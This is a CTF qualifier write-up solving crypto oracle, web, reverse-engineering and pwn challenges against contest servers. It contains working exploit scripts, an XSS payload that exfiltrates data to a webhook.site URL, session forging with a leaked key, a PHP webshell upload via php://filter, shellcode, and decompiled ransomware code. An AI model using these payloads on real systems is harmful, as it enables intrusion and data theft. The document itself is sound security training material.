# TLSC EOF Qual ###### tags: `write-up` **Table of Contents** [TOC] ## Crypto ### Chatroom ```python md5(flag).hexdigest() = 'c0bdcfc620a83e9063a0da44917fdeca' ``` 1. In the oracle, we can query if the output contains `男`. Since CBC block cipher XORs the IV with the decrypted string, try searching through the IVs and XOR back the modified bits with `男` and the plain text can be recovered. 2. UTF-8 encodes Chinese characters into 3 bytes, following the rules below. For a single byte ASCII character, the leading bit is always `0`, while 3-bytes Chinese characters, the first byte starts with `1110` and the following 2 bytes starts with `10`. ``` 0x00000000 - 0x0000007F: 0xxxxxxx 0x00000080 - 0x000007FF: 110xxxxx 10xxxxxx 0x00000800 - 0x0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx ``` ref: https://man7.org/linux/man-pages/man7/UTF-8.7.html 3. Assume the flag contains only ASCII characters and the padding is at least two bytes. Then for the last block, we only need to search through `(hex with leading 1)*(all possible hex)`. The complexity is `O(2^(3+4))` for each byte. 4. For the blocks without padding, we have to search through the bytes that matches the utf-8 encoded convention (printing 哈), and then try if '男' appears. Practice this part by trial and error. 5. Repeat step 4 until all blocks are decrypted, and the flag is found. ```python from pwn import * #p = process('./server.py') p = remote('eofqual.zoolab.org',10110) p.recvuntil('間號碼: ') res = p.recvuntil('系統訊息:',drop=True)[:-1] res = str(res)[2:-1] print(res) res = bytes.fromhex(res) print(res) iv = res[:8] c = res[8:-16] b0 = res[8:16] b1 = res[16:24] b2 = res[24:32] md5 = res[-16:] print(iv.hex(),b0.hex(),b1.hex(),b2.hex(),md5.hex()) boy_hex = '男'.encode('utf-8').hex() print('男 = '+ boy_hex) #男 = e794b7 kone = ['8','9','a','b','c','d','e','f'] k = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] flag = "" prev = bytes([0] * 2) found = 0 print(prev) for pos in range(6): for a in kone: for q in k: xor = (a+q+"94b7") tmp = int.from_bytes(b1, 'big') tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos)) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b2.hex()) get = p.recvline().decode() if '離' in get: print(b1.hex(), xor) tmp = int(boy_hex,16) ^ int(xor,16) tmp = tmp.to_bytes(8,'big') print(tmp) flag = tmp.decode()[-3] + flag print(flag) prev = tmp.decode()[-3].encode() + prev.decode()[0].encode() print(prev) found = 1 break if found == 1: break found = 0 def isEnglish(s): try: s.encode('ascii') except UnicodeEncodeError: return False else: return True for a in ['a']: #kone for b in ['c']: #kone for c in ['d']: #kone xor = (a+'0'+b+'0'+c+'0') tmp = int.from_bytes(b0, 'big') ^ int(xor,16) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex()) get = p.recvline().decode() if '離' in get: found = 1 elif ('哈' in get and isEnglish((int(boy_hex,16) ^ int(xor,16)).to_bytes(8,'big').decode()[-3:])): print(xor) for q in ['2']: #k for r in ['2']: #k for s in ['2']: #k xor = (a+q+b+r+c+s) tmp = int.from_bytes(b0, 'big') ^ int(xor,16) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex()) get = p.recvline().decode() if '離' in get: print(b1.hex(), xor) tmp = int(boy_hex,16) ^ int(xor,16) tmp = tmp.to_bytes(8,'big') print(tmp) flag = tmp.decode()[-3:] + flag print(flag) prev = tmp.decode()[-3:-1].encode() print(prev) found = 1 break if found == 1: break if found == 1: break if found == 1: break if found == 1: break if found == 1: break found = 0 for pos in range(6): for a in kone: for q in k: xor = (a+q+"94b7") tmp = int.from_bytes(b0, 'big') tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos)) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b1.hex()) get = p.recvline().decode() if '離' in get: print(b1.hex(), xor) tmp = int(boy_hex,16) ^ int(xor,16) tmp = tmp.to_bytes(8,'big') print(tmp) flag = tmp.decode()[-3] + flag print(flag) prev = tmp.decode()[-3].encode() + prev.decode()[0].encode() print(prev) found = 1 break if found == 1: break found = 0 for a in ['d']: #kone for b in ['e']: #kone for c in ['8']: #kone xor = (a+'0'+b+'0'+c+'0') tmp = int.from_bytes(iv, 'big') ^ int(xor,16) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex()) get = p.recvline().decode() for q in ['7']: #k for r in ['6']: #k for s in ['3']: #k xor = (a+q+b+r+c+s) tmp = int.from_bytes(iv, 'big') ^ int(xor,16) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex()) get = p.recvline().decode() if '離' in get: print(b1.hex(), xor) tmp = int(boy_hex,16) ^ int(xor,16) tmp = tmp.to_bytes(8,'big') print(tmp) flag = tmp.decode()[-3:] + flag print(flag) prev = tmp.decode()[-3:-1].encode() print(prev) found = 1 break if found == 1: break if found == 1: break if found == 1: break if found == 1: break if found == 1: break found = 0 for pos in range(6): for a in kone: for q in k: xor = (a+q+"94b7") tmp = int.from_bytes(iv, 'big') tmp = tmp ^ (int(xor,16)<< (8*pos)) ^ (int.from_bytes(prev,'big')<< (8*pos)) tmp = tmp.to_bytes(8,'big') p.sendlineafter('輸入訊息: ',tmp.hex()+b0.hex()) get = p.recvline().decode() if '離' in get: print(b1.hex(), xor) tmp = int(boy_hex,16) ^ int(xor,16) tmp = tmp.to_bytes(8,'big') print(tmp) flag = tmp.decode()[-3] + flag print(flag) prev = tmp.decode()[-3].encode() + prev.decode()[0].encode() print(prev) found = 1 break if found == 1: break found = 0 p.interactive() ``` ``` FLAG{0r4cL3_nEVeR_D1e} ``` ### Chatroom-Revenge 1. md5 = 4b09433eeeba9ff1db650d4c9febff91 2. By trying 0x00 to 0xff for each byte, we can breifly understand the structure of the flag. - If it has 128 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is a single byte utf-8 as **`0x0XXXXXXX`**. - If it has 15 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the first byte of a 3-byte word as **`0x1110XXXX`**. - If it has 64 possibilities to get **`陌生人: 哈哈哈哈`**, that means it is the remaining byte of a multibyte word as **`0x10XXXXXX`**. 3. Then the structure of the flag be like: **`{single byte}*5 + {3-byte}*4 + {single byte}*7`** total: 3 blocks = 24 bytes (not including iv) 4. There is are only two conditions to make a 2-byte utf-8 to get UnicodeDecodeError, which are **`0x11000000`** and **`0x11000001`** for the first byte. Thus, we can get 2 possibility of each byte by trying to change the byte to begin with **`0x110`** and make the byte behind begin with **`0x10`** except for the last byte of each block. 5. Code below is an example for finding the second bit of the second block. ```python # -*- coding: utf-8 -*- from pwn import * from hashlib import md5 from Crypto.Cipher import Blowfish r = remote('eofqual.zoolab.org',10111) print(r.recvline().decode()) # ===== 免費寂寞交友聊天室,24 小時真人在線聊天 ===== get = r.recvline().decode() # 聊天室房間號碼: print(get) get = get[9:-1] c_hex = get[:-32] block = [c_hex[0:16],c_hex[16:32],c_hex[32:48],c_hex[48:64]] md5 = get[-32:] print(r.recvline().decode()) # 系統訊息: 加密連線完成,開始聊天囉! b = 1 # block s = 6 # byte from behind for i in range(2,4): num2 = i<<5 tmp_b = int(block[b],16) ^ (num2<<s*8) ^ (0x80<<(s+1)*8) send_text = ('0'*16+hex(tmp_b)[2:])[-16:] + block[b+1] + block[b+2] r.sendlineafter('輸入訊息: ', send_text) rec = r.recvline().decode() print('輸入訊息:',('0'*16+hex(tmp_b)[2:])[-16:], block[b+1]) print(rec) if("哈" in rec): for j in range(32): new_tmp_b = tmp_b ^ (j<<s*8) send_text = ('0'*16+hex(new_tmp_b)[2:])[-16:] + block[b+1] + block[b+2] r.sendlineafter('輸入訊息: ', send_text) rec = r.recvline().decode() print('輸入訊息:',('0'*16+hex(new_tmp_b)[2:])[-16:], block[b+1]) print(rec) if("哈" not in rec): print(hex(num2^0xc0^j)) print(chr(num2^0xc0^j)) ``` 6. Discovered one by one: F L A G { 0xe6 0x82or0x83 0x10xxxxxx 0xe6 0xa2or0xa3 0xb2 0xe6 0xacor0xad 0xb5 0xe6 0x94or0x95 0xb6or0xb7 0x38or0x39 } 0x00 0x00 0x00 0x00 0x00 7. Got the flag by comparing with md5. ```python= from hashlib import md5 for a in ['82','83']: for b_t in range(128,192): b = hex(b_t)[2:] for c in ['a2','a3']: for d in ['ac','ad']: for e in ['94','95']: for f in ['b6','b7']: for h in ['38','39']: for i in ['ae','af']: for j in ['b8','b9']: tmp = bytes.fromhex('e6'+a+b+'e6'+c+i+ 'e6'+d+j+'e6'+e+f+h) flag = 'FLAG{' + tmp.decode('utf-8') +'}' encoded_flag = flag.encode('utf-8') md = md5(encoded_flag).hexdigest() if(md == '4b09433eeeba9ff1db650d4c9febff91'): print(flag) ``` **`FLAG{悠梯欸敷8}`** ## Web ### Zero Storage * site : http://zero-storage-eof-ctf.csie.org:1310/ * 如果上傳的是 html,可以成功 XSS * session 裡面就會有 id 和 file_list session, 是 HTTPOnly, 有簽證 * no dns rebind #### FLAG A * for admin to see the xss file needs to be friend * report url `http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=cclin0816` * report XSS view `http://zero-storage-eof-ctf.csie.org:1310/view?filename=-7uQTJAfMBqTnV-vFW7C4YK3gtK2wj-7.html` ```html= <script> fetch("http://zero-storage-eof-ctf.csie.org:1310/home") .then((response) => response.text()) .then((data) => { let parser = new DOMParser(); let doc = parser.parseFromString(data, 'text/html'); let f = doc.getElementsByClassName("pure-u-1")[2].getElementsByTagName("a")[0].innerText; fetch( "https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" + f ); }) .catch((error) => { fetch( "https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" + btoa(error) ); }); </script> ``` * get the filename of flag and see it `http://zero-storage-eof-ctf.csie.org:1310/view?filename=maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt` * FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......} #### FLAG B ```python async def debug_user(request): if not request.session.get('debug', False): return TemplateResponse('show.html',{'request': request, 'note': 'Permission denied'}) uid = request.query_params.get('id', request.session.get('id', -1)) async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, )) as cursor: row = await cursor.fetchone() user, pas = (None, None) if row is None else row return TemplateResponse('show.html', { 'request': request, 'pre': True, 'note': f'''id : {uid} name: {user} pass: {pas} ''' }) ``` * error page (access 不存在的頁面) 可以看到 middleware 的 secret key ```Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B``` * session 中的 debug 要是 True,若 session 中沒有 debug 就會自動是 False * [Starlette Source](https://github.com/encode/starlette/blob/master/starlette/middleware/sessions.py) 裡面有 load cookie 的部分 ![](https://i.imgur.com/NJ1SF3Z.png) * 用這個腳本生 session,在 load ```http://zero-storage-eof-ctf.csie.org:1310/debug_user?debug_user=admin``` 的時候送 (可以用 burpsuite) ```python= from base64 import b64decode, b64encode import itsdangerous, json signer = itsdangerous.TimestampSigner( "Ludibrium-Secret133.221.333.123.111_kvYAtbZkwkhyPv5B") payload = {"id": 0, "filenames": [], "debug": True} data = b64encode(json.dumps(payload).encode("utf-8")) max_age = 14 * 24 * 60 * 60 print(signer.sign(data)) ``` * FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?} ### WTF * site : http://eofqual.ais3.org:9487/ ```php= <?php if (!empty($_FILES['file'])) { $filename = $_FILES['file']['tmp_name']; $timestamp = date('Y-m-d-H:i:s'); $log_file = $_POST['log'] ?? "$timestamp.log"; $result = shell_exec(sprintf("file -- %s", escapeshellarg($filename))); $result = strchr($result, ":", 0); $result = htmlentities($result); $extension = pathinfo($log_file, PATHINFO_EXTENSION); if (strtolower(substr($extension, 0, 2)) !== "ph") { file_put_contents($log_file, $timestamp . $result); } else { echo "NO!"; } echo 'File Type<strong>'.$result.'</strong>'; } ?> ``` * ```$log_file = $_POST['log'] ?? "$timestamp.log";``` 所以 log_file 的檔名可控 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.file" -F "log=[control filename]" eofqual.ais3.org:9487 ``` * ```strtolower(substr($extension, 0, 2)) !== "ph"``` 會擋 ph 開頭的檔名,但是 pathinfo 可以簡單的用 ```.php/.``` 繞過,或是用 .inc 也可以 ([file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass)) * 看了 [這篇](https://xz.aliyun.com/t/7081) 知道說 ```file -- ``` 其實是可以利用的,像是直接去改 gz 檔案裡面的內容可以在 ```file --``` 的時候顯示出來,所以就直接把 shellcode 塞在裡面 ![](https://i.imgur.com/aPYen8K.png) * 雖然可以讓 shellcode 出現了,但是被 php 開頭的 < 會被 htmlentities 擋住,不過因為檔名可控,就可以利用 php filter,所以先把 shellcode base64 decode 以後塞進去 ![](https://i.imgur.com/u5s8QCE.png) * 要注意會有 padding 問題,所以要前面要塞點東西讓他能正常 base64 decode,還有最後的 == 要改掉才不會出錯 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.gz" -F "log=php://filter/write=convert.base64-decode/resource=ok.php/." eofqual.ai ``` ![](https://i.imgur.com/G37w02g.png) * FLAG{𖥂𖢐𖥑𖣠𖤐𖤐𖤐𖣠𖡨𖥶𖦂} ## Reverse ### DuRaRaRa decompile the `Cracked_IDA_PRO_7_5_SP3_installer.exe` we can see that it allocate a executable memory and copy something in it then create a thread ```cpp local_14 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,DAT_0045d4b4,0x3000,0x40); memcpy(local_14,&DAT_00403020,DAT_0045d4b4); local_18 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_14,(LPVOID)0x0,0,&local_1c); ``` we can see that the data it copies is a PE binary ![](https://i.imgur.com/sHx7hzP.png) so extract the binary out then decompile again we can see in main the program opens flag add does MD5 hash for every 5 words and then xor with local data ```cpp= while (flag_len = _strlen(&flag), itr < flag_len) { _memcpy(&local_ad,&flag + itr,5); __Z7MD5InitP7MD5_CTX(local_108); flag_len = _strlen((char *)&local_ad); __Z9MD5UpdateP7MD5_CTXPhj(local_108,&local_ad,flag_len); __Z8MD5FinalP7MD5_CTXPh(local_108,(int)local_a7); local_1c = 0; while (local_1c < 0x10) { _fprintf(local_24,"%02x",(uint)(local_97[local_1c] ^ local_a7[local_1c])); local_1c = local_1c + 1; } ``` so convert the `secret.txt` to md5s ```python= xor_arr = [] xor_arr.append(0xa8) xor_arr.append(0x81) xor_arr.append(0x21) xor_arr.append(0xe4) xor_arr.append(0x6e) xor_arr.append(0x48) xor_arr.append(0x32) xor_arr.append(0x2b) xor_arr.append(0x13) xor_arr.append(0x32) xor_arr.append(0x8c) xor_arr.append(0xeb) xor_arr.append(0xf4) xor_arr.append(0xfb) xor_arr.append(0x6c) xor_arr.append(0x1e) target = "c35f2bca2f79dcf56c4863b89c80a97362a47454652178\ 0f878ac7651dead037f8380f4c51a73167f1957f164cd1866d2431aa5\ 40b53d462b4455abc7289a49f34a7fe7abc1b5715a2ece8bedf263669\ 13431e915e03b55f838a34f725f508e10a06bbde480e4e68e30b3c39d\ 017308070d1d1a8b500030188d3fd09e03bd8f065a345df725e158b52\ a806d14432979e5080d06a9fedc6af6b516175c4af22eb4cf2b11ae72\ dbf6ee061a17e283ba900018f38724d89f59c203351a0b2cf061ca6b9\ cfa80e24ca8141a67be5a6a10bab90084de1b0314a4c5319d6803ceda\ 13f5bcf5f6f2908744f85bf5cfec245ed56fea2885bc4d7ef1acfb6d7\ 0d720f9e1e435d2529990c5ee0284627a2ca7f0ee83cb14c1dfab3ec4\ 0ed331ee5bbddff2e" new_target = "" for i in range(len(target) // 2): new_hex = hex(int(target[i * 2: (i + 1) * 2], 16) ^ xor_arr[i % 16])[2:] if(len(new_hex) == 1): new_hex = "0" + new_hex new_target += new_hex print(len(new_target)) for i in range(18): print(new_target[i * 32: (i + 1) * 32]) ``` and we get those md5s and crack it > 6bde0a2e4131eede7f7aef53687bc56d ca2555b00b694a2494b84b8ee911bc29 50b92ea83fef034ce2a7f3fdb82aea73 8cb08bb0651be649a777d6578672c881 9c26df9ed253653eb1de64552bdd5a77 bbc23f75304b877490b8b81cd10e64ff a2879a3a26467c43f039b0d224ec5c9e d850f04cdb48312a9be171e214c0b4ee cd22643b1c1627a0419a8a3ab0c9fb80 f801f18ef1a5f4847863ed9e30544ef5 e47390fe89658d45f3532d95dcc0c51e a90e199623c1c7b73301dd4b46346a02 0e38ee4c606cf8aa5294f70e525a67b5 38896c05de797867402b5a6bc816cd21 f34e7e8b47404664968dd01536be8148 5623a9bfaa9fdd31dc845be686f4f200 ebdc04cdf7446ccb3b74ab493e8462f6 94306df994fbde6bfe01920e4f269330 it can't be cracked with online cracker so use a simple bruteforce to crack ```python= from Crypto.Hash import MD5 import string # t = string.printable[:95] t = "abcdefghijklmnopqrstuvwxyz_{}FLAG" print(t) match = ["6bde0a2e4131eede7f7aef53687bc56d", #FLAG{ "ca2555b00b694a2494b84b8ee911bc29", #wait_ "50b92ea83fef034ce2a7f3fdb82aea73", #what_ "8cb08bb0651be649a777d6578672c881", #are_y "9c26df9ed253653eb1de64552bdd5a77", #ou_lo "bbc23f75304b877490b8b81cd10e64ff", #oking "a2879a3a26467c43f039b0d224ec5c9e", #_for_ "d850f04cdb48312a9be171e214c0b4ee", #there "cd22643b1c1627a0419a8a3ab0c9fb80", #_is_n "f801f18ef1a5f4847863ed9e30544ef5", #othin "e47390fe89658d45f3532d95dcc0c51e", #g_ins "a90e199623c1c7b73301dd4b46346a02", #ide_t "0e38ee4c606cf8aa5294f70e525a67b5", #his_v "38896c05de797867402b5a6bc816cd21", #m_hac "f34e7e8b47404664968dd01536be8148", #ker_h "5623a9bfaa9fdd31dc845be686f4f200", #acker "ebdc04cdf7446ccb3b74ab493e8462f6", #_go_a "94306df994fbde6bfe01920e4f269330"] #way!} for a in range(33): print(a) for b in range(33): for c in range(33): for d in range(33): for e in range(33): h = MD5.new() nt = t[a] + t[b] + t[c] + t[d] + t[e] h.update(nt.encode()) hh = h.hexdigest() for m in match: if m == hh: print(m, nt) break ``` FLAG{wait_what_are_you_looking_for_there_is_nothing_inside_this_vm_hacker_hacker_go_away!} ### AssemblyLanguageBeast there is [source code](https://github.com/terrynini/Assembly-Language-Beast.git) for this challenge the main difference is in `C_Monster_Generate` and `Monsters_TickTock` the assigned Monster ID in `C_Monster_Generate` were xored with 0x55 ```cpp= (&Monster_array_ID_e1be)[(Monster_count_4af2 ^ 0x55) * 0x44] = Monster_count_4af2; Monster_count_4af2 = (Monster_count_4af2 ^ 0x55) + 1 ^ 0x55; ``` and in `Monsters_TickTock` after monster died it calls a function then its ID is xor with flag ```cpp= last_mon = (Monster_count_4af2 ^ 0x55) - 1; Monster_count_4af2 = last_mon ^ 0x55; if ((int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 < (int)(Player_Main_Health_Now_dde0 ^ 0x55)) { Player_Main_Health_Now_dde0 = Player_Main_Health_Max_dddc; } else { Player_Main_Health_Now_dde0 = (int)(Player_Main_Health_Max_dddc ^ 0x55) / 2 + (Player_Main_Health_Now_dde0 ^ 0x55) ^ 0x55; } iVar1 = (int)((&Monster_array_ID_e1be)[last_mon * 0x44] ^ 0x819f) % 0x32; (&flag_5270)[iVar1] = (byte)(&Monster_array_ID_e1be)[last_mon * 0x44] ^ (&flag_5270)[iVar1]; ``` then it renders the flag if all monster dies ```cpp= if (Monster_count_4af2 != 0x55) { return; } render_flag?_4824(); SetState_17ce(4); ``` simply patch the binary in `C_Monster_Generate` where sets Health_Now of monster ```cpp= (&Monster_array_Health_Now_e1a2)[(Monster_count_4af2 ^ 0x55) * 0x44] = (&Monster_array_Health_Max_e19e)[(Monster_count_4af2 ^ 0x55) * 0x44]; ``` patch the `mov at 0x403a1f` to `xor eax, eax` so the monster's health is zero ![](https://i.imgur.com/DCFn13X.png) run the patched game and gets the flag ![](https://i.imgur.com/vm5TLDf.png) ### Ransomware *this is solved after score board freeze* 這題裡面包含 `1~143.jpg`, `wannaSleep.exe`, `readme.txt`, `ransomware.jpg` decompile wannaSleep 後可以看到一個 function **FUN_0040177b** ```cpp= void FUN_0040177b(LPCSTR param_1,LPCSTR param_2) { BOOL BVar1; DWORD local_26c; _WIN32_FIND_DATAA local_268; CHAR local_128 [272]; HANDLE local_18; HANDLE local_10; PathCombineA(local_128,param_1,param_2); local_10 = FindFirstFileA(local_128,(LPWIN32_FIND_DATAA)&local_268); if (local_10 != (HANDLE)0xffffffffffffffff) { do { if ((local_268.dwFileAttributes & 0x10) == 0) { PathCombineA(local_128,param_1,local_268.cFileName); printf_s("%s\n",local_128); FUN_00401560(local_128); } BVar1 = FindNextFileA(local_10,(LPWIN32_FIND_DATAA)&local_268); } while (BVar1 != 0); FindClose(local_10); } local_18 = CreateFileA("ransomeware.jpg",0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,1,0x80, (HANDLE)0x0); if (local_18 != (HANDLE)0xffffffffffffffff) { WriteFile(local_18,&JPEG_00408040,DAT_004660b4,&local_26c,(LPOVERLAPPED)0x0); CloseHandle(local_18); } return; } ``` 可以看到 PathCombineA 然後 FindFirstFileA 接著在 while loop 中 call FUN_00401560 然後 FindNextFileA => 一個把所有檔案加密的循環 **FUN_00401560** ```cpp= void FUN_00401560(LPCSTR param_1) { DWORD local_2c; LPVOID file_buf; uint allocate_size; DWORD file_size; HANDLE file_fp; uint local_10; uint offset; file_fp = CreateFileA(param_1,0x10000000,0,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0); if (file_fp != (HANDLE)0xffffffffffffffff) { file_size = GetFileSize(file_fp,(LPDWORD)0x0); allocate_size = (file_size & 0xfffff000) + 0x1000; file_buf = VirtualAlloc((LPVOID)0x0,(ulonglong)allocate_size,0x3000,4); ReadFile(file_fp,file_buf,file_size,&local_2c,(LPOVERLAPPED)0x0); offset = ((allocate_size + file_size + (int)*(char *)((longlong)file_buf + 0xc0U % (ulonglong)file_size)) % 0x4000_const + (int)*(char *)((longlong)file_buf + 0xc79U % (ulonglong)file_size)) % 0x4000_const; local_10 = 0; while (local_10 < allocate_size) { *(byte *)((longlong)file_buf + (longlong)(int)local_10) = *(byte *)((longlong)file_buf + (longlong)(int)local_10) ^ (&xor_arr)[offset % 0x4000_const]; local_10 = local_10 + 1; offset = offset + 1; } SetFilePointer(file_fp,0,(PLONG)0x0,0); WriteFile(file_fp,file_buf,allocate_size,&local_2c,(LPOVERLAPPED)0x0); VirtualFree(file_buf,0,0x8000); CloseHandle(file_fp); } return; } ``` 可以看到把原檔案讀進來 計算 new size 跟 offset 用檔案跟 xor_arr xor 寫到新檔案 **recover file** jpg 前 4 byte 是 magic number `0xff` `0xd8` `0xff` `0xe0` 利用加密後的前 4 byte 嘗試 xor 不同 offset 的 xor_arr 就能找到 offset 把檔案還原 ```cpp= void extract(string filename, char *xor_buf, int offset) { fstream in(filename, fstream::in | fstream::binary); fstream out("e" + filename, fstream::out | fstream::binary); char c; while(in.get(c)){ out.put((char)(xor_buf[offset] ^ c)); offset = (offset + 1) % 0x4000; } in.close(); out.close(); } int main() { fstream game_bin("wannaSleep.exe", fstream::in | fstream::binary); game_bin.seekg(0x2620); char buf[0x4000]; game_bin.read(buf, 0x4000); for(int i = 1; i < 144; i++) { string filename = to_string(i) + ".jpg"; cout << filename << '\n'; fstream file_bin(filename, fstream::in | fstream::binary); char filebuf[4]; file_bin.read(filebuf, 0x4); int target[] = {0xff, 0xd8, 0xff, 0xe0}; int know_offset; for (int offset = 0; offset < 0x4000; offset++) { if(((char)(filebuf[0] ^ buf[offset])) != (char)target[0]) { continue; } if(((char)(filebuf[1] ^ buf[(offset + 1) % 0x4000])) != (char)target[1]) { continue; } if(((char)(filebuf[2] ^ buf[(offset + 2) % 0x4000])) != (char)target[2]) { continue; } if(((char)(filebuf[3] ^ buf[(offset + 3) % 0x4000])) != (char)target[3]) { continue; } cout << "yeah" << '\n'; know_offset = offset; break; } file_bin.close(); extract(filename, buf, know_offset); } game_bin.close(); } ``` 解出來是 flag 拼圖 能用 python 拔掉 padding byte 但其實沒啥意義 txt 沒有 magic number 但推測其大小不會剛好 0x1000 加密會在後面有 padding 0x0 所以最後面會等於 xor_arr, 比對後就能找出 offset 4432 用前面的 extract 解 解出來是 >Sort them by size to get the right order, >and there are 11*13 pieces of images. >.PIL may save your life 然後照檔案大小排序後能發現 就是數字排序大到小 然後來拼圖 我用 opencv ```python= import cv2 import numpy as np canvas = np.zeros((80 * 13, 80 * 11, 3), np.uint8) for i in range(143): img = cv2.imread(f"e{143 - i}.jpg") img = cv2.resize(img, (80, 80)) canvas[(i // 11) * 80: ((i // 11) + 1) * 80, (i % 11) * 80: ((i % 11) + 1) * 80, :] = img cv2.imwrite("pic.jpg", canvas) ``` 然後手抄 flag 一直抄錯 == ![](https://i.imgur.com/nKSYgIv.png) ## Pwn ### EDUshell first decompile the program we can see some useful choice `exec` `loadflag` `cat EDUshell` * exec check if flag loaded if loaded copy until blank space to a mmap then call the mmap address * loadflag read flag to memory setup seccomp with only `read` `exit` `exitgroup` * cat EDUshell malloc a memory then fill with random value then print => loadflag then exec shellcode => use scanf `%255s` => first part of shell code reads more shellcode in no write only read => crash the program if input doesn't match flag else continue read => error base oracle oracle ```python= from pwn import * import string import time def preprocess(): r = remote('eofqual.zoolab.org', 10101) # r = process('./EDUshell') r.sendlineafter('$ ', 'loadflag') context.arch = 'amd64' shell = ''' xor rax, rax xor rdi, rdi xor r14, r14 inc r14 shl r14, 5 add rdx, r14 mov rsi, rdx shl r14, 5 mov rdx, r14 syscall nop ''' bin = asm(shell) # print(disasm(bin)) # print(len(bin)) r.sendline(b'exec ' + bin) # flag at rbx shell = ''' add rbx, 0x27c0 sub rsi, 0x20 read_loop: xor rax, rax xor rdi, rdi mov rdx, 5 syscall xor r14, r14 xor r15, r15 mov r15b, byte ptr [rbx] inc rbx mov r14b, byte ptr [rsi] cmp r14b, r15b je read_loop ''' bin = asm(shell) # print(disasm(bin)) # print(len(bin)) r.send(bin) return r context.log_level = 'error' known = "" now_at = 0 guess = 0 t = string.printable[:97] t = "_abcdefghijklmnopqrstuvwxyz}{ !0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" while True: r = preprocess() print(known) time.sleep(1) while True: # input() to = 0.2 next_send = "" if now_at >= len(known): next_send = t[guess] to = 0.7 else: next_send = known[now_at] print(next_send, to) r.send(next_send) try: r.recv(numb = 1, timeout = to) except EOFError: print("miss", now_at, t[guess]) now_at = 0 guess += 1 break if now_at >= len(known): known += t[guess] guess = 0 now_at += 1 ``` to lazy to improve speed but it works ### Messy Printer there is source code for this program goal is to leak libc base address a FSB but output is encrypt with RSA => RSA is vulnerable since it doesn't use padding but > // if n / 2 > plaintext > // then plaintext = n - plaintext short string like address the difference is kept when e is small => first guess address then FSB the libc address => compare two cipher if larger then guess is too small => binary search ```python= from pwn import * from Crypto.Util.number import bytes_to_long r = remote('eofqual.zoolab.org', 4001) # r = process('./messy_printer') def try_if_same(data1, data2): r.sendafter('[y/n]: \n', 'y') r.sendlineafter('Give me title: \n', data1) d1 = r.recvuntil('\nGive me ')[:-9] r.sendlineafter('content: \n', data2) d2 = r.recvuntil('\nContinue? ')[:-11] return bytes_to_long(d1), bytes_to_long(d2) t = 0x7f0000000000 s = 0x8000000000 while True: a, b = try_if_same(hex(t), "%21$p") if a == b: break elif a > b: t += s else: t -= s s = s // 2 t += s input() r.sendafter('[y/n]: \n', 'n') print(hex(t)) r.sendafter('Give me the magic: \n', p64(t - 0x270b3 + 0x55410)) r.interactive() ``` FLAG{CONGRATS!_However_this_should_be_the_easiest_one...}